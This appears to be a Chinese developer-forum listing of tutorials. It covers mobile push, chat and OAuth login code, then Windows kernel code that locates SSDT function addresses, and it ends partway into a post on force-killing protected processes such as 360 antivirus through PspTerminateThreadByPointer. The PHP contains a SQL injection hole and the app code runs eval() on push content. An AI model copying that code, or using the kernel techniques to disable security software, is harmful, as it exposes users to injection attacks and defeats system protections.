    single.php (推送单个普通推送/可透传,点击信息可打开APP,透传可写逻辑,透传需要) (透传格式:{“path”:“course”,id:“2”}openPath.php (推送打开页面信息,点击信息可在浏览器打开你传入的URL)download.php (推送下载信息,点击信息可下载你传入URL的文件)
    简单粗暴的设置一下这3个文件内的14行APPKEY,15行APPID,16行MASTERSECRET为你在个推得到的APPKEY、APPID、MASTERSECRET

    如下我只写了一个实例,单条普通信息推送。
    PHP端代码:
    在PHP Action文件夹内建立了一个 PushAction.class.php 的文件
    Class PushAction extends Action { //单个信息推送 透传 public function single(){ $title = $_GET['title_data']; $content = $_GET['content_data']; $phone = $_GET['phone_data']; $pass = $_GET['pass_data']; if($title == '' || $content == '' || $phone == ''){ exit; } $user = M('user')->where("`phone`='$phone'")->find(); $cid = $user['client_id']; $url = 'http://' .$_SERVER['HTTP_HOST'] . . '/Push/single?title='.$title.'&content='.$content.'&cid='.$cid.'&pass='.$pass; $html = file_get_contents($url); echo $html; }}
    APP端代码 我在index文件中:
    // 监听在线消息事件plus.push.addEventListener( "receive", function( msg ) { if ( msg.aps ) { // Apple APNS message// alert( "接收到在线APNS消息:" ); } else {// alert( "接收到在线透传消息:" ); } var login_phone = localStorage.getItem('你存入的登录信息'); var content = msg.content; var json = eval('('+content+')'); var path = json.path; var id = json.id; //订单 if(path == 'order'){ if(login_phone){ dui.jump('./Home/order.html','order'); } }else if(path == 'course'){ localStorage.setItem('writebug_cid',id); dui.jump('./Course/course_detail.html','course_detail'); }else if(path == 'message'){ if(login_phone){ if(id == 'system'){ dui.jump('./Message/system_message.html','system_message'); }else{ dui.jump('./Message/chat_message.html','chat_message'); } } } }, false );
    以上PHP代码可以配合后台,给特定人群推送,逻辑需要大家实现了,因为每个APP的逻辑都不一样
    浏览器打开新页面plus.runtime.openURL( url );
    PDF浏览IOS端内可以直接打开
    安卓端方式

    调用本地第三方浏览器打开
    mui.plusReady(function(){ plus.runtime.openFile( "./file/node_js.pdf" ); });
    引入第三方js类打开

    自定义下拉刷新双webview写到父页面里面
    .mui-pull-top-pocket{ top:100px !important; position: absolute;}.mui-pull-caption { background: red;; background-size: contain; background-repeat: no-repeat; background-position: center; width: 144px; height: 31px; font-size: 0px;}/*下拉刷新圆形进度条的大小和样式*/.mui-spinner { width: 32px; height: 32px;}.mui-spinner:after { background: red;}/*下拉刷新的箭头颜色*/.mui-icon-pulldown { color: #FF058B;}
    即时聊天即时聊天采用野狗无后端模式,野狗: https://www.wilddog.com/
    引入文件
    <script src = "https://cdn.wilddog.com/js/client/current/wilddog.js" ></script>
    写入数据
    // new Wilddog message 为自己定义的一个表或者空间,用于放我们的聊天记录var wd = new Wilddog('https://write-bug.wilddogio.com/message');btn.addEventListener('tap',function(){ var content = text.value; //记录发布时间戳 var date = new Date(); var time = date.getTime(); //插入数据 //第一个参数单独的一个空间,比如两个人聊天,他们就是在单独的一个空间聊天, message 里面可以有很多个独立的空间,比如 张三和李四 是一个空间 王五和赵六又是一个空间 //第二个参数是你发布信息的时间,我们以时间作为信息的依据,通过时间的排序我们的聊天记录 //第三个参数是一个json,为我们的聊天信息,比如 昵称,头像,内容,表情,时间 wd.child('1').child(time).set({ 'name':'write-bug', 'content':content, 'time':time// ...更多 });})
    获得数据
    // 监听聊天内容变化var listen = "https://write-bug.wilddogio.com/message/1";var listen_wd = new Wilddog(listen);listen_wd.on('child_added',function(data){ list.innerHTML += '' +' '+data.val().name+' '+data.val().time+'' +' '+data.val().content+'' +''; console.log(data.val().name);})
    删除
    //1为空间名,1442293959023为某一条信息var ref = new Wilddog("https://writ-ebug.wilddogio.com/message/1/1442293959023");ref.remove()
    时间转换函数
    function getLocalTime(nS) { var mydate = new Date(nS); var today = '';// today += mydate.getFullYear() + '年'; //返回年份// today += mydate.getMonth()+1 + '月'; //返回月份,因为返回值是0开始,表示1月,所以做+1处理// today += mydate.getDate() + '日'; //返回日期 today += mydate.getHours() + ':'; if(mydate.getMinutes() < 10){ var min = '0'+mydate.getMinutes(); }else{ var min = mydate.getMinutes(); } today += min + ':'; today += mydate.getSeconds(); return today;}
    设置滚动条高度
    document.body.scrollTop = document.body.offsetHeight;
    双击安卓返回键退出//监听安卓返回键var first = null;mui.back = function() { if (!first) { first = new Date().getTime(); mui.toast('再按一次退出应用'); setTimeout(function() { first = null; }, 1000); } else { if (new Date().getTime() - first < 1000) { plus.runtime.quit(); } }}
    QQ登录
    申请各个开发平台的开发者:

    微信: https://open.weixin.qq.com/QQ: http://open.qq.com/微博: http://open.weibo.com/
    设置 manifest.json -> SDK配置
    初始化QQ登录、微信登录、微博登录

    var auths={};mui.plusReady(function(){ // 获取登录认证通道 plus.oauth.getServices(function(services){ for(var i in services){ var service=services[i]; auths[service.id]=service; } },function(e){ outLine("获取登录认证失败:"+e.message); });});
    调用认证事件
    // id 为 qq,weixin,weibo function login(id){ console.log("----- 登录认证 -----"); var auth=auths[id]; if(auth){ var w=plus.nativeUI.showWaiting(); document.addEventListener("pause",function(){ setTimeout(function(){ w&&w.close();w=null; },2000); }, false ); auth.login(function(){ w&&w.close();w=null; console.log("登录认证成功:"); console.log(JSON.stringify(auth.authResult)); userinfo(auth); },function(e){ w&&w.close();w=null; console.log("登录认证失败:"); console.log("["+e.code+"]:"+e.message); plus.nativeUI.alert("详情错误信息请参考授权登录(OAuth)规范文档:http://www.html5plus.org/#specification#/specification/OAuth.html",null,"登录失败["+e.code+"]:"+e.message); }); }else{ console.log("无效的登录认证通道!"); plus.nativeUI.alert("无效的登录认证通道!",null,"登录"); }}// 获取用户信息function userinfo(a){ console.log("----- 获取用户信息 -----"); a.getUserInfo(function(){ console.log("获取用户信息成功:"); console.log(JSON.stringify(a.userInfo)); var nickname=a.userInfo.nickname||a.userInfo.name; plus.nativeUI.alert("欢迎“"+nickname+"”登录!"); },function(e){ console.log("获取用户信息失败:"); console.log("["+e.code+"]:"+e.message); plus.nativeUI.alert("获取用户信息失败!",null,"登录"); });}// 注销登录function logoutAll(){ console.log("----- 注销登录认证 -----"); for(var i in auths){ logout(auths[i]); }}function logout(auth){ auth.logout(function(){ outLine("注销\""+auth.description+"\"成功"); },function(e){ outLine("注销\""+auth.description+"\"失败:"+e.message); });}
    5 回答 2019-03-06 21:40:56
  • 64位系统上获取SSDT表地址以及从中获取指定SSDT函数的地址

    背景SSDT 全称为 System Services Descriptor Table,即系统服务描述符表。SSDT 表的作用就是把 ring3 的 WIN32 API 函数和 ring0 的内核 API 函数联系起来。对于ring3下的一些API,最终会对应于 ntdll.dll 里一个 Ntxxx 函数,例如 CreateFile,最终调用到 ntdll.dll 里的 NtCreateFile 这个函数。NtCreateFile最终将系统服务号放入EAX,然后 CALL 系统的服务分发函数 KiSystemService,进入到内核当中。从 ring3 到 ring0,最终在 ring0 当中通过传入的 EAX 得到对应的同名系统服务的内核地址,这样就完成了一次系统服务的调用。SSDT 并不仅仅只包含一个庞大的地址索引表,它还包含着一些其它有用的信息,诸如地址索引的基地址、服务函数个数等。
    SSDT 通过修改此表的函数地址可以对常用 Windows 函数进行 HOOK,从而实现对一些核心的系统动作进行过滤、监控的目的。一些HIPS、防毒软件、系统监控、注册表监控软件往往会采用此接口来实现自己的监控模块。
    本质上,其实 SSDT 就是一个用来保存 Windows 系统服务地址的数组而已 。
    32 位系统和 64 位上,获取 SSDT 表的方式并不相同,获取 SSDT 表中的函数地址也不相同。现在,我就分别对其进行极讲解介绍,并形成文档。本文主要讲解的是 64 位系统下,编程实现获取 SSDT 表的地址,以及获取 SSDT 表函数对应的内核地址。
    实现原理获取 SSDT 表的地址在 64 位系统中,SSDT 表并没有在内核 Ntoskrnl.exe 中导出,所以,我们不能像 32 位那样直接获取导出符号 KeServiceDescriptorTable。所以,必须要使用其它方法获取。
    我们通过使用 WinDbg 在 Win7 x64、Win8.1 x64 等 64 位系统上逆向内核中的 KiSystemCall64 内核函数,逆向代码如下:
    // Win7 x64nt!KiSystemServiceRepeat:fffff800`03e8d772 4c8d15c7202300 lea r10,[nt!KeServiceDescriptorTable (fffff800`040bf840)]fffff800`03e8d779 4c8d1d00212300 lea r11,[nt!KeServiceDescriptorTableShadow (fffff800`040bf880)]… …(略)
    // Win8.1 x64nt!KiSystemServiceRepeat:fffff800`11b6c752 4c8d1567531f00 lea r10,[nt!KeServiceDescriptorTable (fffff800`11d61ac0)]fffff800`11b6c759 4c8d1da0531f00 lea r11,[nt!KeServiceDescriptorTableShadow (fffff800`11d61b00)]… …(略)
    我们从从上面的代码可以知道,KiSystemCall64 内核函数中,有调用到内核的 KeServiceDescriptorTable 以及 KeServiceDescriptorTableShadow。我们可以根据特征码 4c8d15 搜索内存方式,获取 KeServiceDescriptorTable 的偏移 offset,再计算出 KeServiceDescriptorTable 的地址,计算公式为:
    KeServiceDescriptorTable地址 = 特征码4c8d15地址 + 7 + offset
    注意,offset 可能为正,也可能为负,所以应该用有符号 4 字节数据类型来保存。
    对于 KiSystemCall64 内核函数地址的获取,虽然 Ntoskrnl.exe 也没有导出内核函数 KiSystemCall64,但是,我们可以根据下面代码获取:
    __readmsr(0xC0000082)
    直接通过读取指定的 msr 得出。msr 的中文全称是就是“特别模块寄存器”(model specific register),它控制 CPU 的工作环境和标示 CPU 的工作状态等信息(例如倍频、最大 TDP、 危险警报温度),它能够读取,也能够写入,但是无论读取还是写入,都只能在 ring 0 下进行。我们通过读取 0xC0000082 寄存器,能够得到 KiSystemCall64 的地址,然后从 KiSystemCall64 的地址开始,往下搜索特征码。
    获取 SSDT 表函数地址在 64 位下,SSDT 表的结构为:
    #pragma pack(1)typedef struct _SERVICE_DESCIPTOR_TABLE{ PULONG ServiceTableBase; // SSDT基址 PVOID ServiceCounterTableBase; // SSDT中服务被调用次数计数器 ULONGLONG NumberOfService; // SSDT服务个数 PVOID ParamTableBase; // 系统服务参数表基址}SSDTEntry, *PSSDTEntry;#pragma pack()
    和 32 位上不同的就是第 3 个成员 SSDT 服务个数 NumberOfService,由 4 字节变成了 8 字节。
    和 32 位系统不同的是,ServiceTableBase 中存放的并不是 SSDT 函数的完整地址。而是存放的是 ServiceTableBase[SSDT函数索引号]>>4 的偏移地址。那么,64 位下计算 SSDT 函数地址的完整公式为:
    ULONG ulOffset = (ServiceTableBase + SSDT函数索引号*4) >> 4;PVOID pSSDTFuncAddr = (PUCHAR)ServiceTableBase + ulOffset;// 或者ULONG ulOffset = ServiceTableBase[SSDT函数索引号] >> 4;PVOID pSSDTFuncAddr = (PUCHAR)ServiceTableBase + ulOffset;
    SSDT 函数索引号可以从 ntdll.dll 文件中获取,当 ring3 级 API 函数最终进入 ring0 级的时候,它会先将 SSDT函数索引号 mov 给 eax 寄存器。所以,我们获取 ntdll.dll 导出函数的地址,从中获取 SSDT 函数索引号。具体的实现过程分析过程,可以参考我写的《内核内存映射文件之获取SSDT函数索引号》这篇文章。
    编码实现获取SSDT函数索引号// 从 ntdll.dll 中获取 SSDT 函数索引号ULONG GetSSDTFunctionIndex(UNICODE_STRING ustrDllFileName, PCHAR pszFunctionName){ ULONG ulFunctionIndex = 0; NTSTATUS status = STATUS_SUCCESS; HANDLE hFile = NULL; HANDLE hSection = NULL; PVOID pBaseAddress = NULL; // 内存映射文件 status = DllFileMap(ustrDllFileName, &hFile, &hSection, &pBaseAddress); if (!NT_SUCCESS(status)) { KdPrint(("DllFileMap Error!\n")); return ulFunctionIndex; } // 根据导出表获取导出函数地址, 从而获取 SSDT 函数索引号 ulFunctionIndex = GetIndexFromExportTable(pBaseAddress, pszFunctionName); // 释放 ZwUnmapViewOfSection(NtCurrentProcess(), pBaseAddress); ZwClose(hSection); ZwClose(hFile); return ulFunctionIndex;}// 内存映射文件NTSTATUS DllFileMap(UNICODE_STRING ustrDllFileName, HANDLE *phFile, HANDLE *phSection, PVOID *ppBaseAddress){ NTSTATUS status = STATUS_SUCCESS; HANDLE hFile = NULL; HANDLE hSection = NULL; OBJECT_ATTRIBUTES objectAttributes = { 0 }; IO_STATUS_BLOCK iosb = { 0 }; PVOID pBaseAddress = NULL; SIZE_T viewSize = 0; // 打开 DLL 文件, 并获取文件句柄 InitializeObjectAttributes(&objectAttributes, &ustrDllFileName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); status = ZwOpenFile(&hFile, GENERIC_READ, &objectAttributes, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT); if (!NT_SUCCESS(status)) { KdPrint(("ZwOpenFile Error! [error code: 0x%X]", status)); return status; } // 创建一个节对象, 以 PE 结构中的 SectionALignment 大小对齐映射文件 status = ZwCreateSection(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE, NULL, 0, PAGE_READWRITE, 0x1000000, hFile); if (!NT_SUCCESS(status)) { ZwClose(hFile); KdPrint(("ZwCreateSection Error! [error code: 0x%X]", status)); return status; } // 映射到内存 status = ZwMapViewOfSection(hSection, NtCurrentProcess(), &pBaseAddress, 0, 1024, 0, &viewSize, ViewShare, MEM_TOP_DOWN, PAGE_READWRITE); if (!NT_SUCCESS(status)) { ZwClose(hSection); ZwClose(hFile); KdPrint(("ZwMapViewOfSection Error! [error code: 0x%X]", status)); return status; } // 返回数据 *phFile = hFile; *phSection = hSection; *ppBaseAddress = pBaseAddress; return status;}// 根据导出表获取导出函数地址, 从而获取 SSDT 函数索引号ULONG GetIndexFromExportTable(PVOID pBaseAddress, PCHAR pszFunctionName){ ULONG ulFunctionIndex = 0; // Dos Header PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBaseAddress; // NT Header PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((PUCHAR)pDosHeader + pDosHeader->e_lfanew); // Export Table PIMAGE_EXPORT_DIRECTORY pExportTable = (PIMAGE_EXPORT_DIRECTORY)((PUCHAR)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress); // 有名称的导出函数个数 ULONG ulNumberOfNames = pExportTable->NumberOfNames; // 导出函数名称地址表 PULONG lpNameArray = (PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfNames); PCHAR lpName = NULL; // 开始遍历导出表 for (ULONG i = 0; i < ulNumberOfNames; i++) { lpName = (PCHAR)((PUCHAR)pDosHeader + lpNameArray[i]); // 判断是否查找的函数 if (0 == _strnicmp(pszFunctionName, lpName, strlen(pszFunctionName))) { // 获取导出函数地址 USHORT uHint = *(USHORT *)((PUCHAR)pDosHeader + pExportTable->AddressOfNameOrdinals + 2 * i); ULONG ulFuncAddr = *(PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfFunctions + 4 * uHint); PVOID lpFuncAddr = (PVOID)((PUCHAR)pDosHeader + ulFuncAddr); // 获取 SSDT 函数 Index#ifdef _WIN64 ulFunctionIndex = *(ULONG *)((PUCHAR)lpFuncAddr + 4);#else ulFunctionIndex = *(ULONG *)((PUCHAR)lpFuncAddr + 1);#endif break; } } return ulFunctionIndex;}
    获取SSDT表地址// 根据特征码, 从 KiSystemCall64 中获取 SSDT 地址PVOID GetSSDTAddress(){ PVOID pServiceDescriptorTable = NULL; PVOID pKiSystemCall64 = NULL; UCHAR ulCode1 = 0; UCHAR ulCode2 = 0; UCHAR ulCode3 = 0; // 注意使用有符号整型 LONG lOffset = 0; // 获取 KiSystemCall64 函数地址 pKiSystemCall64 = (PVOID)__readmsr(0xC0000082); // 搜索特征码 4C8D15 for (ULONG i = 0; i < 1024; i++) { // 获取内存数据 ulCode1 = *((PUCHAR)((PUCHAR)pKiSystemCall64 + i)); ulCode2 = *((PUCHAR)((PUCHAR)pKiSystemCall64 + i + 1)); ulCode3 = *((PUCHAR)((PUCHAR)pKiSystemCall64 + i + 2)); // 判断 if (0x4C == ulCode1 && 0x8D == ulCode2 && 0x15 == ulCode3) { // 获取偏移 lOffset = *((PLONG)((PUCHAR)pKiSystemCall64 + i + 3)); // 根据偏移计算地址 pServiceDescriptorTable = (PVOID)(((PUCHAR)pKiSystemCall64 + i) + 7 + lOffset); break; } } return pServiceDescriptorTable;}
    获取SSDT函数地址// 获取 SSDT 函数地址PVOID GetSSDTFunction(PCHAR pszFunctionName){ UNICODE_STRING ustrDllFileName; ULONG ulSSDTFunctionIndex = 0; PVOID pFunctionAddress = NULL; PSSDTEntry pServiceDescriptorTable = NULL; ULONG ulOffset = 0; RtlInitUnicodeString(&ustrDllFileName, L"\\??\\C:\\Windows\\System32\\ntdll.dll"); // 从 ntdll.dll 中获取 SSDT 函数索引号 ulSSDTFunctionIndex = GetSSDTFunctionIndex(ustrDllFileName, pszFunctionName); // 根据特征码, 从 KiSystemCall64 中获取 SSDT 地址 pServiceDescriptorTable = GetSSDTAddress(); // 根据索引号, 从SSDT表中获取对应函数偏移地址并计算出函数地址 ulOffset = pServiceDescriptorTable->ServiceTableBase[ulSSDTFunctionIndex] >> 4; pFunctionAddress = (PVOID)((PUCHAR)pServiceDescriptorTable->ServiceTableBase + ulOffset); // 显示 DbgPrint("[%s][SSDT Addr:0x%p][Index:%d][Address:0x%p]\n", pszFunctionName, pServiceDescriptorTable, ulSSDTFunctionIndex, pFunctionAddress); return pFunctionAddress;}
    程序测试在 Win7 64 位系统下,驱动程序正常执行:

    在 Win10 64 位系统下,驱动程序正常执行:

    总结64 位下的 SSDT 表不再由 Ntoskrnl.exe 导出,我们需要从 KiSystemCall64 函数中扫描内存,计算出 KeServiceDescriptorTable 的地址。而且,SSDT 结构体的数据类型和含义也有些变化。ServiceTableBase 中并不存储完整的 SSDT 函数地址,这点要注意。
    对于 SSDT 函数索引号的获取,可以从 ntdll.dll 的导出函数中获取,因为 ntdll.dll 导出函数的开头,总是将 SSDT 函数索引号 mov 到 eax 寄存器,所以,我们可以直接根据 ntdll.dll 的导出函数地址,获取 SSDT 函数索引号。
    参考参考自《Windows黑客编程技术详解》一书
    2 回答 2019-02-25 23:13:46
  • 32位系统上获取SSDT表地址以及从中获取指定SSDT函数的地址

    背景SSDT 全称为 System Services Descriptor Table,即系统服务描述符表。SSDT 表的作用就是把 ring3 的 WIN32 API 函数和 ring0 的内核 API 函数联系起来。对于ring3下的一些API,最终会对应于 ntdll.dll 里一个 Ntxxx 函数,例如 CreateFile,最终调用到 ntdll.dll 里的 NtCreateFile 这个函数。NtCreateFile最终将系统服务号放入EAX,然后 CALL 系统的服务分发函数 KiSystemService,进入到内核当中。从 ring3 到 ring0,最终在 ring0 当中通过传入的 EAX 得到对应的同名系统服务的内核地址,这样就完成了一次系统服务的调用。SSDT 并不仅仅只包含一个庞大的地址索引表,它还包含着一些其它有用的信息,诸如地址索引的基地址、服务函数个数等。
    SSDT 通过修改此表的函数地址可以对常用 Windows 函数进行 HOOK,从而实现对一些核心的系统动作进行过滤、监控的目的。一些HIPS、防毒软件、系统监控、注册表监控软件往往会采用此接口来实现自己的监控模块。
    本质上,其实 SSDT 就是一个用来保存 Windows 系统服务地址的数组而已 。
    32 位系统和 64 位上,获取 SSDT 表的方式并不相同,获取 SSDT 表中的函数地址也不相同。现在,我就分别对其进行极讲解介绍,并形成文档。本文主要讲解的是 32 位系统下,编程实现获取 SSDT 表的地址,以及获取 SSDT 表函数对应的内核地址。
    实现原理获取 SSDT 表的地址在 32 位系统中,SSDT 表是内核 Ntoskrnl.exe 导出的一张表,导出符号为 KeServiceDescriptorTable,该表含有一个指针指向SSDT中包含 Ntoskrnl.exe 实现的核心服务。所以,我们要想在 32 位系统上获取 SSDT 表地址,直接获取 Ntoskrnl.exe 导出符号 KeServiceDescriptorTable 即可。
    SSDT 表结构为:
    #pragma pack(1)typedef struct _SERVICE_DESCIPTOR_TABLE{ PULONG ServiceTableBase; // SSDT基址 PULONG ServiceCounterTableBase;// SSDT中服务被调用次数计数器 ULONG NumberOfService; // SSDT服务个数 PUCHAR ParamTableBase; // 系统服务参数表基址}SSDTEntry, *PSSDTEntry;#pragma pack()
    所以,从 Ntoskrnl.exe 获取导出符号 KeServiceDescriptorTable 的代码如下:
    extern SSDTEntry __declspec(dllimport) KeServiceDescriptorTable;
    获取 SSDT 表函数地址在 32 位系统中,SSDT 包含了所有内核导出函数的地址。每个地址长度为 4 字节。所以要获得 SSDT 中某个函数的地址,如下代码所示:
    KeServiceDescriptorTable.ServiceTableBase + SSDT函数索引号*4 // 或者KeServiceDescriptorTable.ServiceTableBase[SSDT函数索引号]
    SSDT 函数索引号可以从 ntdll.dll 文件中获取,当 ring3 级 API 函数最终进入 ring0 级的时候,它会先将 SSDT函数索引号 mov 给 eax 寄存器。所以,我们获取 ntdll.dll 导出函数的地址,从中获取 SSDT 函数索引号。具体的实现过程分析过程,可以参考我写的《内核内存映射文件之获取SSDT函数索引号》这篇文章。
    编码实现获取SSDT函数索引号// 从 ntdll.dll 中获取 SSDT 函数索引号ULONG GetSSDTFunctionIndex(UNICODE_STRING ustrDllFileName, PCHAR pszFunctionName){ ULONG ulFunctionIndex = 0; NTSTATUS status = STATUS_SUCCESS; HANDLE hFile = NULL; HANDLE hSection = NULL; PVOID pBaseAddress = NULL; // 内存映射文件 status = DllFileMap(ustrDllFileName, &hFile, &hSection, &pBaseAddress); if (!NT_SUCCESS(status)) { KdPrint(("DllFileMap Error!\n")); return ulFunctionIndex; } // 根据导出表获取导出函数地址, 从而获取 SSDT 函数索引号 ulFunctionIndex = GetIndexFromExportTable(pBaseAddress, pszFunctionName); // 释放 ZwUnmapViewOfSection(NtCurrentProcess(), pBaseAddress); ZwClose(hSection); ZwClose(hFile); return ulFunctionIndex;}// 内存映射文件NTSTATUS DllFileMap(UNICODE_STRING ustrDllFileName, HANDLE *phFile, HANDLE *phSection, PVOID *ppBaseAddress){ NTSTATUS status = STATUS_SUCCESS; HANDLE hFile = NULL; HANDLE hSection = NULL; OBJECT_ATTRIBUTES objectAttributes = { 0 }; IO_STATUS_BLOCK iosb = { 0 }; PVOID pBaseAddress = NULL; SIZE_T viewSize = 0; // 打开 DLL 文件, 并获取文件句柄 InitializeObjectAttributes(&objectAttributes, &ustrDllFileName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); status = ZwOpenFile(&hFile, GENERIC_READ, &objectAttributes, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT); if (!NT_SUCCESS(status)) { KdPrint(("ZwOpenFile Error! [error code: 0x%X]", status)); return status; } // 创建一个节对象, 以 PE 结构中的 SectionALignment 大小对齐映射文件 status = ZwCreateSection(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE, NULL, 0, PAGE_READWRITE, 0x1000000, hFile); if (!NT_SUCCESS(status)) { ZwClose(hFile); KdPrint(("ZwCreateSection Error! [error code: 0x%X]", status)); return status; } // 映射到内存 status = ZwMapViewOfSection(hSection, NtCurrentProcess(), &pBaseAddress, 0, 1024, 0, &viewSize, ViewShare, MEM_TOP_DOWN, PAGE_READWRITE); if (!NT_SUCCESS(status)) { ZwClose(hSection); ZwClose(hFile); KdPrint(("ZwMapViewOfSection Error! [error code: 0x%X]", status)); return status; } // 返回数据 *phFile = hFile; *phSection = hSection; *ppBaseAddress = pBaseAddress; return status;}// 根据导出表获取导出函数地址, 从而获取 SSDT 函数索引号ULONG GetIndexFromExportTable(PVOID pBaseAddress, PCHAR pszFunctionName){ ULONG ulFunctionIndex = 0; // Dos Header PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBaseAddress; // NT Header PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((PUCHAR)pDosHeader + pDosHeader->e_lfanew); // Export Table PIMAGE_EXPORT_DIRECTORY pExportTable = (PIMAGE_EXPORT_DIRECTORY)((PUCHAR)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress); // 有名称的导出函数个数 ULONG ulNumberOfNames = pExportTable->NumberOfNames; // 导出函数名称地址表 PULONG lpNameArray = (PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfNames); PCHAR lpName = NULL; // 开始遍历导出表 for (ULONG i = 0; i < ulNumberOfNames; i++) { lpName = (PCHAR)((PUCHAR)pDosHeader + lpNameArray[i]); // 判断是否查找的函数 if (0 == _strnicmp(pszFunctionName, lpName, strlen(pszFunctionName))) { // 获取导出函数地址 USHORT uHint = *(USHORT *)((PUCHAR)pDosHeader + pExportTable->AddressOfNameOrdinals + 2 * i); ULONG ulFuncAddr = *(PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfFunctions + 4 * uHint); PVOID lpFuncAddr = (PVOID)((PUCHAR)pDosHeader + ulFuncAddr); // 获取 SSDT 函数 Index#ifdef _WIN64 ulFunctionIndex = *(ULONG *)((PUCHAR)lpFuncAddr + 4);#else ulFunctionIndex = *(ULONG *)((PUCHAR)lpFuncAddr + 1);#endif break; } } return ulFunctionIndex;}
    获取SSDT表地址#pragma pack(1)typedef struct _SERVICE_DESCIPTOR_TABLE{ PULONG ServiceTableBase; // SSDT基址 PULONG ServiceCounterTableBase; // SSDT中服务被调用次数计数器 ULONG NumberOfService; // SSDT服务个数 PUCHAR ParamTableBase; // 系统服务参数表基址}SSDTEntry, *PSSDTEntry;#pragma pack()// 直接获取 SSDT extern SSDTEntry __declspec(dllimport) KeServiceDescriptorTable;
    获取SSDT函数地址// 获取 SSDT 函数地址PVOID GetSSDTFunction(PCHAR pszFunctionName){ UNICODE_STRING ustrDllFileName; ULONG ulSSDTFunctionIndex = 0; PVOID pFunctionAddress = NULL; RtlInitUnicodeString(&ustrDllFileName, L"\\??\\C:\\Windows\\System32\\ntdll.dll"); // 从 ntdll.dll 中获取 SSDT 函数索引号 ulSSDTFunctionIndex = GetSSDTFunctionIndex(ustrDllFileName, pszFunctionName); // 根据索引号, 从SSDT表中获取对应函数地址 pFunctionAddress = (PVOID)KeServiceDescriptorTable.ServiceTableBase[ulSSDTFunctionIndex]; // 显示 DbgPrint("[%s][Index:%d][Address:0x%p]\n", pszFunctionName, ulSSDTFunctionIndex, pFunctionAddress); return pFunctionAddress;}
    程序测试在 Win7 32 位系统下,驱动程序正常执行:

    在 Win10 32 位系统下,驱动程序正常执行:

    总结32 位下的 SSDT 表已经由 Ntoskrnl.exe 导出,我们直接获取导出符号 KeServiceDescriptorTable 就能获取 SSDT 表。其中,要注意 SSDT 结构体是按 1 字节大小对齐的。
    对于 SSDT 函数索引号的获取,可以从 ntdll.dll 的导出函数中获取,因为 ntdll.dll 导出函数的开头,总是将 SSDT 函数索引号 mov 到 eax 寄存器,所以,我们可以直接根据 ntdll.dll 的导出函数地址,获取 SSDT 函数索引号。
    参考参考自《Windows黑客编程技术详解》一书
    1 回答 2019-02-24 20:56:20
  • 查找并使用PspTerminateThreadByPointer函数强制结束进程可以杀360进程

    背景学习计算机的同学,或多或少都会有一个黑客情节。总是会想成为一个无拘无束的“黑客”,探索计算机世界里技术的边缘,挑战一切规则与界限。其实,正如电影《东邪西毒》里欧阳峰说的:“人都会经历这个阶段,看见一座山,就想知道山后面是什么。我很想告诉ta,可能翻过去山后面,你会发觉没有什么特别,回头看会觉得这边更好”。
    本文要介绍的就是在内核下实现,强制关掉指定进程,甚至可以关闭 360、QQ 等进程。这个技术,虽不能让你成为一名“黑客”,或许可以让你感受一把“黑科技”的瘾。现在,我就把实现过程和原理整理成文档,分享给大家。该程序适用于 32 位和 64 位 Win7 到 Win10 全平台系统。
    实现过程我们知道,线程是进程中执行运算的最小单位,是进程中的一个实体,是被系统独立调度和分派的基本单位,线程自己不拥有系统资源,只拥有一点在运行中必不可少的资源,但它可与同属一个进程的其它线程共享进程所拥有的全部资源。一个线程可以创建和撤消另一个线程,同一进程中的多个线程之间可以并发执行。
    也就是说,当一个进程中的所有线程都被结束的时候,这个进程也就没有了存在的意义,也随之结束了。这,便是我们本文介绍的这种强制杀进程的实现原理,即把进程中的线程都杀掉,从而让进程消亡,实现间接杀进程的效果。
    Windows 提供了一个导出的内核函数 PsTerminateSystemThread 来帮助我们结束线程,所以,类似 360、QQ 等也会对重点监测该函数,防止结束自己的线程。我们通过逆向 PsTerminateSystemThread 函数,可以发现该函数实际上调用了未导出的内核函数 PspTerminateThreadByPointer 来实现的结束线程的操作。所以,我们可以通过查找 PspTerminateThreadByPointer 函数地址,调用直接它来结束线程,就可以绕过绝大部分的进程保护,实现强制杀进程。
    PspTerminateThreadByPointer 的函数声明为:
    NTSTATUS PspTerminateThreadByPointer ( PETHREAD pEThread, NTSTATUS ntExitCode, BOOLEAN bDirectTerminate );
    但要注意,PspTerminateThreadByPointer 的函数指针的声明的调用约定:
    // 32 位typedef NTSTATUS(*PSPTERMINATETHREADBYPOINTER_X86) ( PETHREAD pEThread, NTSTATUS ntExitCode, BOOLEAN bDirectTerminate );// 64 位typedef NTSTATUS(__fastcall *PSPTERMINATETHREADBYPOINTER_X64) ( PETHREAD pEThread, NTSTATUS ntExitCode, BOOLEAN bDirectTerminate );
    其中,PsTerminateSystemThread 里会调用 PspTerminateThreadByPointer 函数。我们使用 WinDbg 逆向 Win8.1 x64 里的 PsTerminateSystemThread 函数,如下所示:
    nt!PsTerminateSystemThread:fffff800`83904518 8bd1 mov edx,ecxfffff800`8390451a 65488b0c2588010000 mov rcx,qword ptr gs:[188h]fffff800`83904523 f7417400080000 test dword ptr [rcx+74h],800hfffff800`8390452a 7408 je nt!PsTerminateSystemThread+0x1c (fffff800`83904534)fffff800`8390452c 41b001 mov r8b,1fffff800`8390452f e978d9fcff jmp nt!PspTerminateThreadByPointer (fffff800`838d1eac)fffff800`83904534 b80d0000c0 mov eax,0C000000Dhfffff800`83904539 c3 ret
